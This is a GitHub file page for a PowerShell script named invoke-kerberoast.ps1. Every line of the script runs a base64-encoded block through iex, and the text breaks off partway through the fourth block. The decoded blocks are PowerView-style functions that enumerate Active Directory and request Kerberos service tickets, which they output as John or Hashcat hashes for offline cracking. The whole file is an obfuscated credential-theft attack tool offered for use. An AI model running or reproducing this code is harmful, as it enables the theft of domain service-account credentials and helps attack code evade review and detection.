-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinvoke-kerberoast.ps1
11 lines (6 loc) · 39.3 KB
/
invoke-kerberoast.ps1
1
2
3
4
5
6
7
8
9
10
11
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("ZnVuY3Rpb24gR2V0LURvbWFpblNlYXJjaGVyIHsKICAgIFtEaWFnbm9zdGljcy5Db2RlQW5hbHlzaXMuU3VwcHJlc3NNZXNzYWdlQXR0cmlidXRlKCdQU1Nob3VsZFByb2Nlc3MnLCAnJyldCiAgICBbT3V0cHV0VHlwZSgnU3lzdGVtLkRpcmVjdG9yeVNlcnZpY2VzLkRpcmVjdG9yeVNlYXJjaGVyJyldCiAgICBbQ21kbGV0QmluZGluZygpXQogICAgUGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihWYWx1ZUZyb21QaXBlbGluZSA9ICRUcnVlKV0KICAgICAgICBbVmFsaWRhdGVOb3ROdWxsT3JFbXB0eSgpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJERvbWFpbiwKICAgICAgICBbVmFsaWRhdGVOb3ROdWxsT3JFbXB0eSgpXQogICAgICAgIFtBbGlhcygnRmlsdGVyJyldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkTERBUEZpbHRlciwKICAgICAgICBbVmFsaWRhdGVOb3ROdWxsT3JFbXB0eSgpXQogICAgICAgIFtTdHJpbmdbXV0KICAgICAgICAkUHJvcGVydGllcywKICAgICAgICBbVmFsaWRhdGVOb3ROdWxsT3JFbXB0eSgpXQogICAgICAgIFtBbGlhcygnQURTUGF0aCcpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJFNlYXJjaEJhc2UsCiAgICAgICAgW1ZhbGlkYXRlTm90TnVsbE9yRW1wdHkoKV0KICAgICAgICBbU3RyaW5nXQogICAgICAgICRTZWFyY2hCYXNlUHJlZml4LAogICAgICAgIFtWYWxpZGF0ZU5vdE51bGxPckVtcHR5KCldCiAgICAgICAgW0FsaWFzKCdEb21haW5Db250cm9sbGVyJyldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkU2VydmVyLAogICAgICAgIFtWYWxpZGF0ZVNldCgnQmFzZScsICdPbmVMZXZlbCcsICdTdWJ0cmVlJyldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkU2VhcmNoU2NvcGUgPSAnU3VidHJlZScsCiAgICAgICAgW1ZhbGlkYXRlUmFuZ2UoMSwgMTAwMDApXQogICAgICAgIFtJbnRdCiAgICAgICAgJFJlc3VsdFBhZ2VTaXplID0gMjAwLAogICAgICAgIFtWYWxpZGF0ZVJhbmdlKDEsIDEwMDAwKV0KICAgICAgICBbSW50XQogICAgICAgICRTZXJ2ZXJUaW1lTGltaXQgPSAxMjAsCiAgICAgICAgW1ZhbGlkYXRlU2V0KCdEYWNsJywgJ0dyb3VwJywgJ05vbmUnLCAnT3duZXInLCAnU2FjbCcpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJFNlY3VyaXR5TWFza3MsCiAgICAgICAgW1N3aXRjaF0KICAgICAgICAkVG9tYnN0b25lLAogICAgICAgIFtNYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNDcmVkZW50aWFsXQogICAgICAgIFtNYW5hZ2VtZW50LkF1dG9tYXRpb24uQ3JlZGVudGlhbEF0dHJpYnV0ZSgpXQogICAgICAgICRDcmVkZW50aWFsID0gW01hbmFnZW1lbnQuQXV0b21hdGlvbi5QU0NyZWRlbnRpYWxdOjpFbXB0eQogICAgKQogICAgUFJPQ0VTUyB7CiAgICAgICAgaWYgKCRQU0JvdW5kUGFyYW1ldGVyc1snRG9tYWluJ10pIHsKICAgICAgICAgICAgJFRhcmdldERvbWFpbiA9ICREb21haW4KICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGlmICgkUFNCb3VuZFBhcmFtZXRlcnNbJ0NyZWRlbnRpYWwnXSkgewogICAgICAgICAgICAgICAgJERvbWFpbk9iamVjdCA9IEdldC1Eb21haW4gLUNyZWRlbnRpYWwgJENyZWRlbnRpYWwKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICREb21haW5PYmplY3QgPSBHZXQtRG9tYWluCiAgICAgICAgICAgIH0KICAgICAgICAgICAgJFRhcmdldERvbWFpbiA9ICREb21haW5PYmplY3QuTmFtZQogICAgICAgIH0KICAgICAgICBpZiAoLW5vdCAkUFNCb3VuZFBhcmFtZXRlcnNbJ1NlcnZlciddKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoJERvbWFpbk9iamVjdCkgewogICAgICAgICAgICAgICAgICAgICRCaW5kU2VydmVyID0gJERvbWFpbk9iamVjdC5QZGNSb2xlT3duZXIuTmFtZQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmICgkUFNCb3VuZFBhcmFtZXRlcnNbJ0NyZWRlbnRpYWwnXSkgewogICAgICAgICAgICAgICAgICAgICRCaW5kU2VydmVyID0gKChHZXQtRG9tYWluIC1DcmVkZW50aWFsICRDcmVkZW50aWFsKS5QZGNSb2xlT3duZXIpLk5hbWUKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICRCaW5kU2VydmVyID0gKChHZXQtRG9tYWluKS5QZGNSb2xlT3duZXIpLk5hbWUKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCB7CiAgICAgICAgICAgICAgICB0aHJvdyAiW0dldC1Eb21haW5TZWFyY2hlcl0gRXJyb3IgaW4gcmV0cmlldmluZyBQREMgZm9yIGN1cnJlbnQgZG9tYWluOiAkXyIKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJEJpbmRTZXJ2ZXIgPSAkU2VydmVyCiAgICAgICAgfQogICAgICAgICRTZWFyY2hTdHJpbmcgPSAnTERBUDovLycKICAgICAgICBpZiAoJEJpbmRTZXJ2ZXIgLWFuZCAoJEJpbmRTZXJ2ZXIuVHJpbSgpIC1uZSAnJykpIHsKICAgICAgICAgICAgJFNlYXJjaFN0cmluZyArPSAkQmluZFNlcnZlcgogICAgICAgICAgICBpZiAoJFRhcmdldERvbWFpbikgewogICAgICAgICAgICAgICAgJFNlYXJjaFN0cmluZyArPSAnLycKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoJFBTQm91bmRQYXJhbWV0ZXJzWydTZWFyY2hCYXNlUHJlZml4J10pIHsKICAgICAgICAgICAgJFNlYXJjaFN0cmluZyArPSAkU2VhcmNoQmFzZVByZWZpeCArICcsJwogICAgICAgIH0KICAgICAgICBpZiAoJFBTQm91bmRQYXJhbWV0ZXJzWydTZWFyY2hCYXNlJ10pIHsKICAgICAgICAgICAgaWYgKCRTZWFyY2hCYXNlIC1NYXRjaCAnXkdDOi8vJykgewogICAgICAgICAgICAgICAgJEROID0gJFNlYXJjaEJhc2UuVG9VcHBlcigpLlRyaW0oJy8nKQogICAgICAgICAgICAgICAgJFNlYXJjaFN0cmluZyA9ICcnCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBpZiAoJFNlYXJjaEJhc2UgLW1hdGNoICdeTERBUDovLycpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJFNlYXJjaEJhc2UgLW1hdGNoICJMREFQOi8vLisvLisiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRTZWFyY2hTdHJpbmcgPSAnJwogICAgICAgICAgICAgICAgICAgICAgICAkRE4gPSAkU2VhcmNoQmFzZQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJEROID0gJFNlYXJjaEJhc2UuU3ViU3RyaW5nKDcpCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJEROID0gJFNlYXJjaEJhc2UKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgaWYgKCRUYXJnZXREb21haW4gLWFuZCAoJFRhcmdldERvbWFpbi5UcmltKCkgLW5lICcnKSkgewogICAgICAgICAgICAgICAgJEROID0gIkRDPSQoJFRhcmdldERvbWFpbi5SZXBsYWNlKCcuJywgJyxEQz0nKSkiCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJFNlYXJjaFN0cmluZyArPSAkRE4KICAgICAgICBXcml0ZS1WZXJib3NlICJbR2V0LURvbWFpblNlYXJjaGVyXSBzZWFyY2ggc3RyaW5nOiAkU2VhcmNoU3RyaW5nIgogICAgICAgIGlmICgkQ3JlZGVudGlhbCAtbmUgW01hbmFnZW1lbnQuQXV0b21hdGlvbi5QU0NyZWRlbnRpYWxdOjpFbXB0eSkgewogICAgICAgICAgICBXcml0ZS1WZXJib3NlICJbR2V0LURvbWFpblNlYXJjaGVyXSBVc2luZyBhbHRlcm5hdGUgY3JlZGVudGlhbHMgZm9yIExEQVAgY29ubmVjdGlvbiIKICAgICAgICAgICAgJERvbWFpbk9iamVjdCA9IE5ldy1PYmplY3QgRGlyZWN0b3J5U2VydmljZXMuRGlyZWN0b3J5RW50cnkoJFNlYXJjaFN0cmluZywgJENyZWRlbnRpYWwuVXNlck5hbWUsICRDcmVkZW50aWFsLkdldE5ldHdvcmtDcmVkZW50aWFsKCkuUGFzc3dvcmQpCiAgICAgICAgICAgICRTZWFyY2hlciA9IE5ldy1PYmplY3QgU3lzdGVtLkRpcmVjdG9yeVNlcnZpY2VzLkRpcmVjdG9yeVNlYXJjaGVyKCREb21haW5PYmplY3QpCiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkU2VhcmNoZXIgPSBOZXctT2JqZWN0IFN5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcy5EaXJlY3RvcnlTZWFyY2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o6R3JvdXAgfQogICAgICAgICAgICAgICAgJ05vbmUnIHsgW1N5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcy5TZWN1cml0eU1hc2tzXTo6Tm9uZSB9CiAgICAgICAgICAgICAgICAnT3duZXInIHsgW1N5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcy5TZWN1cml0eU1hc2tzXTo6T3duZXIgfQogICAgICAgICAgICAgICAgJ1NhY2wnIHsgW1N5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcy5TZWN1cml0eU1hc2tzXTo6U2FjbCB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCRQU0JvdW5kUGFyYW1ldGVyc1snUHJvcGVydGllcyddKSB7CiAgICAgICAgICAgICRQcm9wZXJ0aWVzVG9Mb2FkID0gJFByb3BlcnRpZXN8IEZvckVhY2gtT2JqZWN0IHsgJF8uU3BsaXQoJywnKSB9CiAgICAgICAgICAgICROdWxsID0gJFNlYXJjaGVyLlByb3BlcnRpZXNUb0xvYWQuQWRkUmFuZ2UoKCRQcm9wZXJ0aWVzVG9Mb2FkKSkKICAgICAgICB9CiAgICAgICAgJFNlYXJjaGVyCiAgICB9Cn0K")))
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("ZnVuY3Rpb24gQ29udmVydC1MREFQUHJvcGVydHkgewogICAgW0RpYWdub3N0aWNzLkNvZGVBbmFseXNpcy5TdXBwcmVzc01lc3NhZ2VBdHRyaWJ1dGUoJ1BTU2hvdWxkUHJvY2VzcycsICcnKV0KICAgIFtPdXRwdXRUeXBlKCdTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTQ3VzdG9tT2JqZWN0JyldCiAgICBbQ21kbGV0QmluZGluZygpXQogICAgUGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkVHJ1ZSwgVmFsdWVGcm9tUGlwZWxpbmUgPSAkVHJ1ZSldCiAgICAgICAgW1ZhbGlkYXRlTm90TnVsbE9yRW1wdHkoKV0KICAgICAgICAkUHJvcGVydGllcwogICAgKQogICAgJE9iamVjdFByb3BlcnRpZXMgPSBAe30KICAgICRQcm9wZXJ0aWVzLlByb3BlcnR5TmFtZXMgfCBGb3JFYWNoLU9iamVjdCB7CiAgICAgICAgaWYgKCRfIC1uZSAnYWRzcGF0aCcpIHsKICAgICAgICAgICAgaWYgKCgkXyAtZXEgJ29iamVjdHNpZCcpIC1vciAoJF8gLWVxICdzaWRoaXN0b3J5JykpIHsKICAgICAgICAgICAgICAgICRPYmplY3RQcm9wZXJ0aWVzWyRfXSA9ICRQcm9wZXJ0aWVzWyRfXSB8IEZvckVhY2gtT2JqZWN0IHsgKE5ldy1PYmplY3QgU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5TZWN1cml0eUlkZW50aWZpZXIoJF8sIDApKS5WYWx1ZSB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZWlmICgkXyAtZXEgJ2dyb3VwdHlwZScpIHsKICAgICAgICAgICAgICAgICRPYmplY3RQcm9wZXJ0aWVzWyRfXSA9ICRQcm9wZXJ0aWVzWyRfXVswXSAtYXMgJEdyb3VwVHlwZUVudW0KICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlaWYgKCRfIC1lcSAnc2FtYWNjb3VudHR5cGUnKSB7CiAgICAgICAgICAgICAgICAkT2JqZWN0UHJvcGVydGllc1skX10gPSAkUHJvcGVydGllc1skX11bMF0gLWFzICRTYW1BY2NvdW50VHlwZUVudW0KICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlaWYgKCRfIC1lcSAnb2JqZWN0Z3VpZCcpIHsKICAgICAgICAgICAgICAgICRPYmplY3RQcm9wZXJ0aWVzWyRfXSA9IChOZXctT2JqZWN0IEd1aWQgKCwkUHJvcGVydGllc1skX11bMF0pKS5HdWlkCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZWlmICgkXyAtZXEgJ3VzZXJhY2NvdW50Y29udHJvbCcpIHsKICAgICAgICAgICAgICAgICRPYmplY3RQcm9wZXJ0aWVzWyRfXSA9ICRQcm9wZXJ0aWVzWyRfXVswXSAtYXMgJFVBQ0VudW0KICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlaWYgKCRfIC1lcSAnbnRzZWN1cml0eWRlc2NyaXB0b3InKSB7CiAgICAgICAgICAgICAgICAkRGVzY3JpcHRvciA9IE5ldy1PYmplY3QgU2VjdXJpdHkuQWNjZXNzQ29udHJvbC5SYXdTZWN1cml0eURlc2NyaXB0b3IgLUFyZ3VtZW50TGlzdCAkUHJvcGVydGllc1skX11bMF0sIDAKICAgICAgICAgICAgICAgIGlmICgkRGVzY3JpcHRvci5Pd25lcikgewogICAgICAgICAgICAgICAgICAgICRPYmplY3RQcm9wZXJ0aWVzWydPd25lciddID0gJERlc2NyaXB0b3IuT3duZXIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkRGVzY3JpcHRvci5Hcm91cCkgewogICAgICAgICAgICAgICAgICAgICRPYmplY3RQcm9wZXJ0aWVzWydHcm91cCddID0gJERlc2NyaXB0b3IuR3JvdXAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkRGVzY3JpcHRvci5EaXNjcmV0aW9uYXJ5QWNsKSB7CiAgICAgICAgICAgICAgICAgICAgJE9iamVjdFByb3BlcnRpZXNbJ0Rpc2NyZXRpb25hcnlBY2wnXSA9ICREZXNjcmlwdG9yLkRpc2NyZXRpb25hcnlBY2wKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkRGVzY3JpcHRvci5TeXN0ZW1BY2wpIHsKICAgICAgICAgICAgICAgICAgICAkT2JqZWN0UHJvcGVydGllc1snU3lzdGVtQWNsJ10gPSAkRGVzY3JpcHRvci5TeXN0ZW1BY2wKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlaWYgKCRfIC1lcSAnYWNjb3VudGV4c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5LCAkTnVsbCwgJFRlbXAsICROdWxsKQogICAgICAgICAgICAgICAgICAgICRPYmplY3RQcm9wZXJ0aWVzWyRfXSA9IChbZGF0ZXRpbWVdOjpGcm9tRmlsZVRpbWUoW0ludDY0XSgiMHh7MDp4OH17MTp4OH0iIC1mICRIaWdoLCAkTG93KSkpCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkT2JqZWN0UHJvcGVydGllc1skX10gPSAoW2RhdGV0aW1lXTo6RnJvbUZpbGVUaW1lKCgkUHJvcGVydGllc1skX11bMF0pKSkKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlaWYgKCRQcm9wZXJ0aWVzWyRfXVswXSAtaXMgW1N5c3RlbS5NYXJzaGFsQnlSZWZPYmplY3RdKSB7CiAgICAgICAgICAgICAgICAkUHJvcCA9ICRQcm9wZXJ0aWVzWyRfXQogICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAkVGVtcCA9ICRQcm9wWyRfXVswXQogICAgICAgICAgICAgICAgICAgIFtJbnQzMl0kSGlnaCA9ICRUZW1wLkdldFR5cGUoKS5JbnZva2VNZW1iZXIoJ0hpZ2hQYXJ0JywgW1N5c3RlbS5SZWZsZWN0aW9uLkJpbmRpbmdGbGFnc106OkdldFByb3BlcnR5LCAkTnVsbCwgJFRlbXAsICROdWxsKQogICAgICAgICAgICAgICAgICAgIFtJbnQzMl0kTG93ICA9ICRUZW1wLkdldFR5cGUoKS5JbnZva2VNZW1iZXIoJ0xvd1BhcnQnLCAgW1N5c3RlbS5SZWZsZWN0aW9uLkJpbmRpbmdGbGFnc106OkdldFByb3BlcnR5LCAkTnVsbCwgJFRlbXAsICROdWxsKQogICAgICAgICAgICAgICAgICAgICRPYmplY3RQcm9wZXJ0aWVzWyRfXSA9IFtJbnQ2NF0oIjB4ezA6eDh9ezE6eDh9IiAtZiAkSGlnaCwgJExvdykKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNhdGNoIHsKICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJbQ29udmVydC1MREFQUHJvcGVydHldIGVycm9yOiAkXyIKICAgICAgICAgICAgICAgICAgICAkT2JqZWN0UHJvcGVydGllc1skX10gPSAkUHJvcFskX10KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlaWYgKCRQcm9wZXJ0aWVzWyRfXS5jb3VudCAtZXEgMSkgewogICAgICAgICAgICAgICAgJE9iamVjdFByb3BlcnRpZXNbJF9dID0gJFByb3BlcnRpZXNbJF9dWzBdCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAkT2JqZWN0UHJvcGVydGllc1skX10gPSAkUHJvcGVydGllc1skX10KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIHRyeSB7CiAgICAgICAgTmV3LU9iamVjdCAtVHlwZU5hbWUgUFNPYmplY3QgLVByb3BlcnR5ICRPYmplY3RQcm9wZXJ0aWVzCiAgICB9CiAgICBjYXRjaCB7CiAgICAgICAgV3JpdGUtV2FybmluZyAiW0NvbnZlcnQtTERBUFByb3BlcnR5XSBFcnJvciBwYXJzaW5nIExEQVAgcHJvcGVydGllcyA6ICRfIgogICAgfQp9Cg==")))
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("ZnVuY3Rpb24gR2V0LURvbWFpbiB7CiAgICBbT3V0cHV0VHlwZShbU3lzdGVtLkRpcmVjdG9yeVNlcnZpY2VzLkFjdGl2ZURpcmVjdG9yeS5Eb21haW5dKV0KICAgIFtDbWRsZXRCaW5kaW5nKCldCiAgICBQYXJhbSgKICAgICAgICBbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgVmFsdWVGcm9tUGlwZWxpbmUgPSAkVHJ1ZSldCiAgICAgICAgW1ZhbGlkYXRlTm90TnVsbE9yRW1wdHkoKV0KICAgICAgICBbU3RyaW5nXQogICAgICAgICREb21haW4sCiAgICAgICAgW01hbmFnZW1lbnQuQXV0b21hdGlvbi5QU0NyZWRlbnRpYWxdCiAgICAgICAgW01hbmFnZW1lbnQuQXV0b21hdGlvbi5DcmVkZW50aWFsQXR0cmlidXRlKCldCiAgICAgICAgJENyZWRlbnRpYWwgPSBbTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTQ3JlZGVudGlhbF06OkVtcHR5CiAgICApCiAgICBQUk9DRVNTIHsKICAgICAgICBpZiAoJFBTQm91bmRQYXJhbWV0ZXJzWydDcmVkZW50aWFsJ10pIHsKICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAnW0dldC1Eb21haW5dIFVzaW5nIGFsdGVybmF0ZSBjcmVkZW50aWFscyBmb3IgR2V0LURvbWFpbicKICAgICAgICAgICAgaWYgKCRQU0JvdW5kUGFyYW1ldGVyc1snRG9tYWluJ10pIHsKICAgICAgICAgICAgICAgICRUYXJnZXREb21haW4gPSAkRG9tYWluCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAkVGFyZ2V0RG9tYWluID0gJENyZWRlbnRpYWwuR2V0TmV0d29ya0NyZWRlbnRpYWwoKS5Eb21haW4KICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIltHZXQtRG9tYWluXSBFeHRyYWN0ZWQgZG9tYWluICckVGFyZ2V0RG9tYWluJyBmcm9tIC1DcmVkZW50aWFsIgogICAgICAgICAgICB9CiAgICAgICAgICAgICREb21haW5Db250ZXh0ID0gTmV3LU9iamVjdCBTeXN0ZW0uRGlyZWN0b3J5U2VydmljZXMuQWN0aXZlRGlyZWN0b3J5LkRpcmVjdG9yeUNvbnRleHQoJ0RvbWFpbicsICRUYXJnZXREb21haW4sICRDcmVkZW50aWFsLlVzZXJOYW1lLCAkQ3JlZGVudGlhbC5HZXROZXR3b3JrQ3JlZGVudGlhbCgpLlBhc3N3b3JkKQogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgW1N5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcy5BY3RpdmVEaXJlY3RvcnkuRG9tYWluXTo6R2V0RG9tYWluKCREb21haW5Db250ZXh0KQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIHsKICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIltHZXQtRG9tYWluXSBUaGUgc3BlY2lmaWVkIGRvbWFpbiAnJFRhcmdldERvbWFpbicgZG9lcyBub3QgZXhpc3QsIGNvdWxkIG5vdCBiZSBjb250YWN0ZWQsIHRoZXJlIGlzbid0IGFuIGV4aXN0aW5nIHRydXN0LCBvciB0aGUgc3BlY2lmaWVkIGNyZWRlbnRpYWxzIGFyZSBpbnZhbGlkOiAkXyIKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlbHNlaWYgKCRQU0JvdW5kUGFyYW1ldGVyc1snRG9tYWluJ10pIHsKICAgICAgICAgICAgJERvbWFpbkNvbnRleHQgPSBOZXctT2JqZWN0IFN5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcy5BY3RpdmVEaXJlY3RvcnkuRGlyZWN0b3J5Q29udGV4dCgnRG9tYWluJywgJERvbWFpbikKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIFtTeXN0ZW0uRGlyZWN0b3J5U2VydmljZXMuQWN0aXZlRGlyZWN0b3J5LkRvbWFpbl06OkdldERvbWFpbigkRG9tYWluQ29udGV4dCkKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCB7CiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJbR2V0LURvbWFpbl0gVGhlIHNwZWNpZmllZCBkb21haW4gJyREb21haW4nIGRvZXMgbm90IGV4aXN0LCBjb3VsZCBub3QgYmUgY29udGFjdGVkLCBvciB0aGVyZSBpc24ndCBhbiBleGlzdGluZyB0cnVzdCA6ICRfIgogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgW1N5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcy5BY3RpdmVEaXJlY3RvcnkuRG9tYWluXTo6R2V0Q3VycmVudERvbWFpbigpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggewogICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiW0dldC1Eb21haW5dIEVycm9yIHJldHJpZXZpbmcgdGhlIGN1cnJlbnQgZG9tYWluOiAkXyIKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQo=")))
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("ZnVuY3Rpb24gR2V0LURvbWFpblNQTlRpY2tldCB7CiAgICBbT3V0cHV0VHlwZSgnUG93ZXJWaWV3LlNQTlRpY2tldCcpXQogICAgW0NtZGxldEJpbmRpbmcoRGVmYXVsdFBhcmFtZXRlclNldE5hbWUgPSAnUmF3U1BOJyldCiAgICBQYXJhbSAoCiAgICAgICAgW1BhcmFtZXRlcihQb3NpdGlvbiA9IDAsIFBhcmFtZXRlclNldE5hbWUgPSAnUmF3U1BOJywgTWFuZGF0b3J5ID0gJFRydWUsIFZhbHVlRnJvbVBpcGVsaW5lID0gJFRydWUpXQogICAgICAgIFtWYWxpZGF0ZVBhdHRlcm4oJy4qLy4qJyldCiAgICAgICAgW0FsaWFzKCdTZXJ2aWNlUHJpbmNpcGFsTmFtZScpXQogICAgICAgIFtTdHJpbmdbXV0KICAgICAgICAkU1BOLAogICAgICAgIFtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBQYXJhbWV0ZXJTZXROYW1lID0gJ1VzZXInLCBNYW5kYXRvcnkgPSAkVHJ1ZSwgVmFsdWVGcm9tUGlwZWxpbmUgPSAkVHJ1ZSldCiAgICAgICAgW1ZhbGlkYXRlU2NyaXB0KHsgJF8uUFNPYmplY3QuVHlwZU5hbWVzWzBdIC1lcSAnUG93ZXJWaWV3LlVzZXInIH0pXQogICAgICAgIFtPYmplY3RbXV0KICAgICAgICAkVXNlciwKICAgICAgICBbVmFsaWRhdGVTZXQoJ0pvaG4nLCAnSGFzaGNhdCcpXQogICAgICAgIFtBbGlhcygnRm9ybWF0JyldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkT3V0cHV0Rm9ybWF0ID0gJ0pvaG4nLAogICAgICAgIFtWYWxpZGF0ZVJhbmdlKDAsMTAwMDApXQogICAgICAgIFtJbnRdCiAgICAgICAgJERlbGF5ID0gMCwKICAgICAgICBbVmFsaWRhdGVSYW5nZSgwLjAsIDEuMCldCiAgICAgICAgW0RvdWJsZV0KICAgICAgICAkSml0dGVyID0gLjMsCiAgICAgICAgW01hbmFnZW1lbnQuQXV0b21hdGlvbi5QU0NyZWRlbnRpYWxdCiAgICAgICAgW01hbmFnZW1lbnQuQXV0b21hdGlvbi5DcmVkZW50aWFsQXR0cmlidXRlKCldCiAgICAgICAgJENyZWRlbnRpYWwgPSBbTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTQ3JlZGVudGlhbF06OkVtcHR5CiAgICApCiAgICBCRUdJTiB7CiAgICAgICAgJE51bGwgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWRXaXRoUGFydGlhbE5hbWUoJ1N5c3RlbS5JZGVudGl0eU1vZGVsJykKICAgICAgICBpZiAoJFBTQm91bmRQYXJhbWV0ZXJzWydDcmVkZW50aWFsJ10pIHsKICAgICAgICAgICAgJExvZ29uVG9rZW4gPSBJbnZva2UtVXNlckltcGVyc29uYXRpb24gLUNyZWRlbnRpYWwgJENyZWRlbnRpYWwKICAgICAgICB9CiAgICB9CiAgICBQUk9DRVNTIHsKICAgICAgICBpZiAoJFBTQm91bmRQYXJhbWV0ZXJzWydVc2VyJ10pIHsKICAgICAgICAgICAgJFRhcmdldE9iamVjdCA9ICRVc2VyCiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkVGFyZ2V0T2JqZWN0ID0gJFNQTgogICAgICAgIH0KCSRSYW5kTm8gPSBOZXctT2JqZWN0IFN5c3RlbS5SYW5kb20KICAgICAgICBGb3JFYWNoICgkT2JqZWN0IGluICRUYXJnZXRPYmplY3QpIHsKICAgICAgICAgICAgaWYgKCRQU0JvdW5kUGFyYW1ldGVyc1snVXNlciddKSB7CiAgICAgICAgICAgICAgICAkVXNlclNQTiA9ICRPYmplY3QuU2VydmljZVByaW5jaXBhbE5hbWUKICAgICAgICAgICAgICAgICRTYW1BY2NvdW50TmFtZSA9ICRPYmplY3QuU2FtQWNjb3VudE5hbWUKICAgICAgICAgICAgICAgICREaXN0aW5ndWlzaGVkTmFtZSA9ICRPYmplY3QuRGlzdGluZ3Vpc2hlZE5hbWUKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICRVc2VyU1BOID0gJE9iamVjdAogICAgICAgICAgICAgICAgJFNhbUFjY291bnROYW1lID0gJ1VOS05PV04nCiAgICAgICAgICAgICAgICAkRGlzdGluZ3Vpc2hlZE5hbWUgPSAnVU5LTk9XTicKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJFVzZXJTUE4gLWlzIFtTeXN0ZW0uRGlyZWN0b3J5U2VydmljZXMuUmVzdWx0UHJvcGV